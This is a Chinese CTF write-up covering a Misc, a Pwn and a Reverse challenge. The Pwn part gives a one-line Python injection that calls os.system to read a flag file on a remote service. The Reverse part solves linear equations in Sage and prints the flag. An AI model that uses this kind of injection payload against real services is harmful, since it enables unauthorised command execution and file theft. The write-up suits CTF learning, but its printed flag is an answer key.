Misc

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Harvey

the_best_ctf_game

附件(提取码:kkgs)

仔细观察即可得到flag
Harvey

Pwn

babyjsc

题目描述:nc 101.200.53.148 13465

非预期解(不看附件
__import__('os').system('cat home/ctf/flag')

Reverse

z3

附件(提取码:v02b)

转十进制,解五组方程组(仅举一个例子

12094=34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59
25270=27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59
19330=24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59
18540=78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59
16386=48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59
21207=15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59
11759=26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59

sage一把梭哈
sage在线工具/sage(提取码:cbgy)
具体操作如下:

var('v53,v54,v55,v56,v57,v58,v59')

s1 = 12094 == 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59

s2 = 25270 == 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59

s3 = 19330 == 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59

s4 = 18540 == 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59

s5 = 16386 == 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59

s6 = 21207 == 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59

s7 = 11759 == 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59

solve([s1,s2,s3,s4,s5,s6,s7],v53,v54,v55,v56,v57,v58,v59)

以此类推,得到结果:

Harvey

Harvey

Harvey

Harvey

Harvey

组合以上结果,解密得到flag:flag{7e171d43-63b9-4e18-990e-6e14c2afe648}
脚本如下:

flag=[102,108,97,103,123,55,101,49,55,49,100,52,51,45,54,51,98,57,45,52,101,49,56,45,57,57,48,101,45,54,101,49,52,99,50,97,102,101,54,52,56,125]
s=''
for i in flag:
  s+=chr(i)
print s